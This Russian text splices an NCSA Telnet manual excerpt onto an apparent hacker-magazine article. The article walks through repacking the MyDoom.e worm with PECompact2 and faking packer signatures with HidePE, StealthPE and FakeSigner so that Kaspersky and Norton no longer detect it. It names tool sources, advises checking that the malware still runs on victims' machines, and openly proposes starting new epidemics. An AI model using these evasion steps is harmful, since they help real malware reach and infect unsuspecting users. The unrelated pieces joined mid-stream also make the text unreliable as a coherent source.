Выход из NCSA Telnet зависит от того количества сессий, которое вы имеете в данный момент. То есть, вы должны разорвать связь с каждым хостом.
Результатом ваших действий должно быть обычное приглашение вашей операционки.
Вы также можете завершить сеанс через комбинацию клавиш Alt-X. Эта команда закрывает только текущую сессию.
Лучшие клавиатурные эквиваленты
? Alt-A Дополнительная сессия.
? Alt-N Следующая сессия.
? Alt-D Перехватить активный текст и послать его в файл.
? Alt-Z Сделать сессию невидимой, но
активизированной.
? Alt-E Выйти в оболочку DOS.
? Alt-G Графическое меню.
? Alt-C Включить/отключить режим перехвата.
? Alt-R Отключить экран VT100.
? Alt-H Подсказка.
? Alt-Y Прервать процесс.
? Alt-B Предыдущая сессия.
? Alt-O Блокировать вывод.
? Alt-U Удалить строку.
? Alt-K Удалить символ.
? Alt-F Начать передачу файла.
? Home Выйти из графического режима.
? Alt-I Переслать IP-адрес удаленному компьютеру.
? Alt-S Пропустить прокрутку.
? Alt-P Изменить параметры.
? Alt-X Закрыть соединение.
Непонятный VT100 и ясный локальный терминал
В NCSA Telnet терминал вашего компьютера отображается на удаленном компьютере как терминал VT100. Вы же работаете на PC. Поэтому некоторые клавиши вашего компьютера отличаются от аналогичных на VT100.
Сразу несколько сессий? ОК!
NCSA Telnet позволяет открывать несколько сессий одновременно. Для этого вы должны ввести:
telnet hostname hostname …
где hostname — имя компьютера, с которым вы коннектитесь.
Что там есть в нашей строке состояния? Все!
Терминал VT100 удаленного компьютера требует 24 строки. В 25 строке локального компьютера вы можете видеть состояние собственной сессии. Выделенные символы отображаются в нижнем левом углу. Все эти символы соответствуют удаленному хосту. Остальные символы могут отображать все что угодно.
Открываем еще одну сессию
Открыть еще одну сессию на текущем удаленном хосте или на другом хосте можно через клавиатурную комбинацию Alt-A.
Указываем на хоста
Вы можете телнетиться только через IP-адрес. Поэтому ваша первая задача — определить IP-адрес удаленного компьютера. Для этого настройте программу на поиск имен посредством соответствующей службы удаленного сервера.
Прокручиваем в режиме обратной прокрутки
Клавиша Scroll Lock позволяет не прокручивать экран, когда идет получение данных и включать/отключать режим обратной прокрутки. Режим обратной прокрутки дает вам возможность перемещать данные на экране стрелками или клавишами PgUp и PgDn. Помните, что в режиме обратной прокрутки нельзя оперировать командами telnet.
Вырезаем и вставляем
Находясь в режиме обратной прокрутки, вы можете копировать части текста одной сессии и вставлять эти части в другую. Попробуем скопировать текст в буфер и затем вставить его из буфера в новую сессию.
1. Включите режим обратной прокрутки посредством нажатия клавиши Scroll Lock.
2. Передвиньте курсор в начало текста и нажмите клавишу пробела.
3. Передвиньте курсор в конец текста и нажмите клавишу пробела.
4. Нажмите Alt-C. Выделенный текст скопирован.
5. Выходим из режима обратной прокрутки и переключаемся на новую сессию посредством нажатия клавиш Alt-N или Alt-B.
6. Помещаем курсор в желаемое место и нажимаем Alt-V.
Выделенный текст помещен в новую сессию.
Переключаемся между сессиями
Переключиться между двумя активными сессиями можно через команду Alt-N. Имя активизированной сессии вы можете увидеть в левой нижней части экрана. Если вы хотите вернуться в старую сессию, то вы можете это сделать через команду Alt-B.
Просматриваем сообщения экрана консоли
Экран консоли отображает информацию, связанную с локальным и удаленным компьютером. Вызвать экран консоли вы можете через Alt-Z.
Закрываем текущую сессию
Командой Alt-X закрывается текущая сессия. Используя эту команду, мы наблюдали сбои на удаленном компьютере.
Перехватываем текст экрана
Если нажать Alt-C, то можно перехватить текст экрана и направить его в файл (то есть добавить текст к файлу capfile) или распечатать. Если вы повторно выберите команду Alt-C, вы отключите режим перехвата.
Если в меню Parameters вместо стандартного файла для перехвата указать prn, то можно распечатать перехваченный текст.
Невозможно перехватить текст активной сессии, если включен перехват в фоновой сессии. Решить эту проблему можно командой Alt-D.
Игнорируем бесконечный текст
Если вы хотите пропустить идущий бесконечным потоком текст, нажмите Alt-S. Вы пропустите текст только на экране, то есть сам текст будет находиться в буфере перехвата.
Перезагружаем экран VT100
Если вам не понравился текущий тип терминала и вы желаете установить новые параметры VT100 (точнее их установит удаленный компьютер), нажмите Alt-R. Параметры вашего экрана VT100, в этом случае, переустановятся таким образом, что отключится режим упаковки, разблокируется графический режим, а табуляторы установятся на каждую восьмую позицию.
Все! Надоело! Больше не могу!
Команда Ctrl-Shift-F3 применяется в том случае, когда ни одна из сессий не работает, Scroll Lock не горит, нажатие клавиш ALT-R и/или ALT-X не приводит ни к какому результату. После выполнения команды Ctrl-Shift-F3 вы выйдите из Telnet в DOS.
Не разрывая связь, выходим в DOS
Если вы хотите выйти в DOS и при этом оставаться в сессиях, нажмите Alt-E. В досовской оболочке вы можете использовать любые программы, кроме сетевой версии NCSA Telnet, сетевой версии программа FTP пользователя и программы format. Возврат в Telnet осуществляется командой exit.
Устанавливаем параметры
Если вы хотите изменить цвета, задать новый эхо-режим, настроить клавишу стирания символов, управлять режимом экрана и режимом пересылки файлов, дать другое имя сессии, типу терминала и файлу перехвата, нажмите Alt-P. После того, как вы в появившемся диалоговом окне Parameters модифицируете необходимые опции, нажмите клавишу F1 (для сохранения изменений) или Esc (для сохранения предыдущих параметров).
Символы или строки?
Вы можете воспользоваться достоинствами построчного режима в случае, если вам долго отвечает удаленный компьютер. Вы просто втаскиваете данные в буфер и пересылаете их единым пакетом на удаленный компьютер через нажатие клавиши Return. При этом вы можете воспользоваться следующими клавиатурными комбинациями:
? если вы нажмете Ctrl-U, то буфер очистится.
? удаление последнего символа, добавленного в буфер осуществляется клавишей Backspace.
? после нажатия клавиши Tab данные буфера вместе с символом табуляции немедленно отправятся на удаленный компьютер.
Два замечания относительно построчного режима:
? любой управляющий символ можно отправить на удаленный компьютер лишь в том случае, если этот символ снабдить приставкой ^.
? нельзя переслать на удаленный компьютер комбинации
Ctrl-U или Backspace.
В случае символьного режима ваши данные передаются на удаленный компьютер непосредственно в процессе их набора. Этот режим позволяет использовать весь экран вашего монитора для редактирования данных.
А что если нажать Backspace?!
По умолчанию, клавиша Backspace преобразовывается в код клавиши Delete. Некоторые удаленные компьютеры работают только с клавишей Backspace. Чтобы добиться совместимости, необходимо открыть меню Parameters и переустановить код клавиши Backspace.
Хочу другое имя сессии!
Вы можете изменить имя сессии появляющееся в строке состояния в правом нижнем углу через меню Parameters. В соответствующее поле данных вы можете ввести до 13 символов.
Хочу другой терминал!
В большинстве сессий эмулируется терминал VT100. У вас имеются другие возможности эмуляции:
? выбрать VT100 с графикой Tektronix 4014.
? использовать только команды VT100.
? игнорировать коды VT100 и Tektronix 4014.
Автоматический перенос строки
Если вы не хотите смотреть на беспорядочный поток символов, используйте символы конца строк. При включенной опции автоматического переноса строки переполненный текст автоматически переходит на следующую строку.
Адаптируемся к графическому интерфейсу
Как правило, режим быстрого вывода текста через буфер экрана несовместим с Windows. В файле конфигурации посредством опции bios вы можете установить так называемый режим адаптации.
В этом режиме текст на экране выводится через специальную программу, использующую доступ к BIOS.
конецформыначалоформыДля тебя, наверное, не секрет, что почти все публичные трояны, которые можно найти в Сети, давно уже занесены в базы антивирусов и их распространение – проблематичная задача. Однако известно ли тебе, что любую заразу можно довольно легко замаскировать под обычное приложение, после чего ни один даже самый навороченный антивирус не обнаружит подставу? Держись! Сегодня мы с тобой так замаскируем MyDoom.e, что впору будет организовывать новую эпидемию
.
Обнаружение
Для начала неплохо было бы разобраться с тем, как, собственно, антивирусные программы отличают зараженные файлы и трояны от обыкновенных бинарников. Я не буду вникать в тонкости этого процесса, а расскажу лишь в общих чертах. У каждого антивируса в обновляемой базе хранятся специальные записи, по которым можно запалить трояна или вирус. Такие записи называются сигнатурами. Сигнатурой может быть некая последовательность байт, характерная для данного вируса, контрольная сумма или еще какой-то характерный признак. Для сложных вирусов, которые не имеют постоянных сигнатур, изобретаются иные методы обнаружения. Антивирус берет файл и начинает искать в нем сигнатуры из своих баз. Если сигнатура обнаружена, то антивирус радостно сообщает пользователю, что данная программа – опаснейший троян. А вот этого-то тебе как раз и не хотелось бы, не так ли? Нужно сделать так, чтобы узнаваемой сигнатуры в файле попросту не было. В этом случае антивирус дополнительно проверяет файл эвристическим анализатором. Алгоритм зависит от конкретного антивируса, а в некоторых эвристика и вовсе нет. Эвристик – штука темная, срабатывает, в основном, на вирусы, написанные на ассемблере, поэтому, скорее всего, антивирус ничего не обнаружит и пойдет дальше по своим делам. Как же убрать эту сигнатуру? Практика показывает, что это не так уж и сложно.
Среди троянописателей и вирмейкеров принято паковать свои творения специальными упаковщиками EXE-файлов. Плюсов от этого немало: например, червяк становится меньше в размерах, а значит, за то же время может разослать больше своих копий и его присутствие становится менее заметным для пользователя. Трояны тоже пакуют, так как они по своей природе должны быть маленькими и незаметными.
Чертик в коробочке
Что же представляет собой упакованный exe-файл? Это PE-заголовок, небольшой загрузчик и прикрепленные сжатые данные исходного файла. Эти данные могут быть дополнительно зашифрованы. При запуске управление передается загрузчику, который распаковывает эти данные прямо во время выполнения и передает управление коду самой программы. С точки зрения пользователя никаких отличий нет – программа точно так же запускается и работает как обычно.
Упаковщиков довольно много. Все они используют разные алгоритмы сжатия и шифрования и разные загрузчики. Антивирусу довольно сложно понять, что скрывается в упакованном файле. Он должен анализировать непосредственно код программы, а код в упакованном файле – это лишь код загрузчика. Для анализа кода его нужно предварительно распаковать. Для этого антивирус должен знать, прежде всего, чем упакован файл, и применить соответствующий алгоритм. Для каждого из упаковщиков необходим свой специальный алгоритм, а то и несколько сразу, так как некоторые программы поддерживают несколько разных способов упаковки. Если антивирус верно определил, чем упакован файл, и если он поддерживает данный алгоритм распаковки, то успешно извлечет из файла код программы и проверит его. У антивируса начинаются проблемы в том случае, когда тип упаковщика ему неизвестен. Антивирусы умеют вскрывать файлы, сжатые большинством популярных упаковщиков.
Для того чтобы попавший в базу троян или вирус перестал определяться антивирусом, необходимо либо упаковать его заново неизвестным антивирусу упаковщиком, либо затруднить или сделать невозможным определение того, чем сжат файл. Сейчас я покажу, как это можно сделать.
Приступаем
Для опытов я взял давно присутствующий во всех антивирусных базах вирус MyDoom.e. Для проверки я использовал два антивируса, которые нашлись у меня на компьютере, – Kaspersky Anti-Virus 4.5 и Norton Anti-Virus 2002. Данный экземпляр MyDoom запакован UPX’ом – довольно известным и распространенным упаковщиком. Я определил это по названиям секций в PE-заголовке файла (UPX0 и UPX1), а также по присутствующей там строчке «1.24 UPX». Распаковать UPX не составляет труда – это позволяет делать и сама утилита upx.exe, стоит только указать ключ –d. Практически все антивирусы умеют делать это, так как разработчики UPX активно сотрудничают с компаниями, занимающимися разработками в сфере сетевой безопасности, о чем прямо упоминается в лицензии программы. На самом деле распаковать файл бывает непросто. Не все программы для сжатия исполняемых файлов поддерживают распаковку. Приходится искать в интернете специальные распаковщики, которые далеко не всегда работают корректно.
После распаковки файл, конечно же, тоже определяется антивирусом. Теперь необходимо запаковать файл таким упаковщиком, который был бы ему неизвестен. Упаковщиков в инете действительно много, и есть из чего выбрать. Для опытов я выбрал PECompact2. Этот упаковщик замечателен тем, что дает на выбор пять разных вариантов сжатия и два загрузчика. Различные способы сжатия реализованы в виде кодеков.
Я взял распакованный файл и попытался сжать его заново. Были выбраны следующие настройки упаковщика: наивысший уровень компрессии, кодек для сжатия – LZMA SDK Codec, загрузчик – стандартный. Я выбрал именно LZMA, так как именно этот алгоритм дает наименьший размер итогового файла. Высокий коэффициент сжатия достигается за счет использования того же самого алгоритма сжатия, что используется в архиваторе 7zip. По размеру сжатых файлов 7zip, как известно, иногда обгоняет даже RAR.
Вирус успешно сжался. Затем я проверил получившийся сжатый файл антивирусными программами AVP и NAV, и что ты думаешь? Оба антивируса показали, что файл чист! Это говорит о том, что используемый кодек сжатия им неизвестен и ничего подозрительного в этом файле антивирусы не углядели.
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой. Такое иногда случается со сжатыми файлами. Разумеется, запускать вирус на своем компе, чтобы проверить, работает ли он, я не стал. Для проверки можно просто взять несколько других программ, сжать их с теми же параметрами и проверить, не возникают ли в них ошибки. Если все программы заработали, то и с Трояном, скорее всего, ничего не случится.
Маскировка
Для повышения защиты от детектирования антивирусом нужно применить дополнительные меры по маскировке. Можно вообще не переупаковывать файл, а попытаться скрыть от антивируса информацию о том, чем на самом деле бинарник сжат. Допустим, вирус сжат обычным UPX. Если антивирус не будет об этом знать, то не сможет найти подходящий способ распаковки. Защитить программу от определения типа компилятора и упаковщика, использованного для ее создания, позволяет модификация точки входа. Эту процедуру можно выполнить с помощью специальных утилит, таких как, например, HidePE. С помощью этой программы можно сделать так, чтобы файлы, упакованные, например, с помощью UPX, определялись как упакованные ASProtect или VBOX. После обработки этой программой вируса Mydoom.e ни Kaspersky, ни Norton не смогли его определить. От разработчиков HidePE доступна еще одна подобная программа – StealthPE. Она отличается более богатым набором инструментов для скрытия информации о типе упаковщика. Среди таких программ от других разработчиков следует упомянуть о DotFix FakeSigner, которая предлагает на выбор более 200 различных сигнатур компиляторов и упаковщиков для внедрения в программу.
Возможные проблемы
В реальной ситуации с распаковкой и упаковкой программ может возникнуть куча проблем. Например, у тебя есть троян, но ты не знаешь, чем он упакован. Можно попытаться использовать одну из специальных утилит, например, PEiDentfier или PE Sniffer из PE Tools. Если эти программы не дали тебе необходимой информации, тогда попытайся определить на глаз. Разработчики упаковщиков любят вставлять названия своих программ в обработанные файлы. Так что если ты нашел в начале файле «FSG», то, скорее всего, перед тобой файл, сжатый именно FSG. Допустим, ты знаешь, чем упакован файл, но этот упаковщик не поддерживает распаковку. Не беспокойся, умные люди наверняка давно написали распаковщик именно для этой программы. Как говорит разработчик UPX: «Just do a websearch on “unpackers”». Любой алгоритм упаковки можно сломать, просто некоторые алгоритмы ломаются на лету, а некоторые требуют специального подхода и недюжинных знаний в программировании на ассемблере.
Что в итоге
Что можно сделать с помощью этих несложных процедур? Много чего. Спровоцировать новую вирусную эпидемию, взяв известный вирус и наделав из него пять новых разновидностей. Поставить троян на машину человека, который может хоть каждый день сканировать свой жесткий диск антивирусным сканером и ничего не обнаруживать. Всеми этими способами успешно пользуются разработчики программного обеспечения для защиты своих творений от взлома. Крэки все равно рано или поздно появляются, но хорошая защита исполняемого файла может как минимум задержать этот процесс. На пару деньков. Не проспи Новый год, удачи! ![]()
Оверлеи
Некоторые программы дописывают в свое тело некоторое количество дополнительных данных, о которых нет данных в PE-заголовке, – оверлеи (overlays). При сжатии такого файла эти данные могут быть утеряны. Оверлеи могут хранить нужную для работы программы информацию, поэтому терять их не стоит. Во многих упаковщиках предусмотрена функция сохранения оверлеев. Например, в UPX это ключ -–overlay=copy. Насколько корректно упаковщик работает с оверлеями, можно проверить, попробовав сжать флеш-мультик, который представляет из себя не что иное, как Flash Player с прикрепленной флешкой. Если запаковать его без сохранения оверлея, то после запуска ты увидишь лишь пустое окно, так как мультик не сохранится.
Нужный софт
Если ты захочешь повторить мои эксперименты, тебе потребуется софт, который я упоминал в этой статье:
HidePE, StealthPE http://bgcorp.narod.ru
DotFix FakeSigner www.dotfix.com
UPX 1.90w http://upx.sf.net
FSG 2.0 www.xtreeme.prv.pl
PE Compact 2.10 www.bitsum.com
PE Tools/PE Sniffer www.uinc.ru
Как всегда, этот софт ты можешь найти на нашем диске, а также на сайте http://ired.inins.ru/xa.
Простые советы
Чтобы добиться наилучшего результата, экспериментируй! Попробуй запаковать файл разными программами с различными алгоритмами сжатия – результат работы будет разнообразным. Какая-то из софтин сожмет твой бинарник в 10 раз, но он банально не запустится. Какая-то сожмет на 30%, обеспечив стабильную работу до проверки антивирусом. Но ты выберешь ту, что уменьшила размер твоего чудо-бинарника вдвое, а вероятность нелепого конфликта с антивирусом свела к нулю. Также ты можешь просто вставить в свою программу сигнатуры других программ для сжатия, что окончательно запутает глупые антивирусы.
INFO
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой.
WARNING
Помни, что любые действия по распространению вредоносных программ караются Уголовным кодексом РФ. Не следует нарушать законы страны, в которой ты живешь.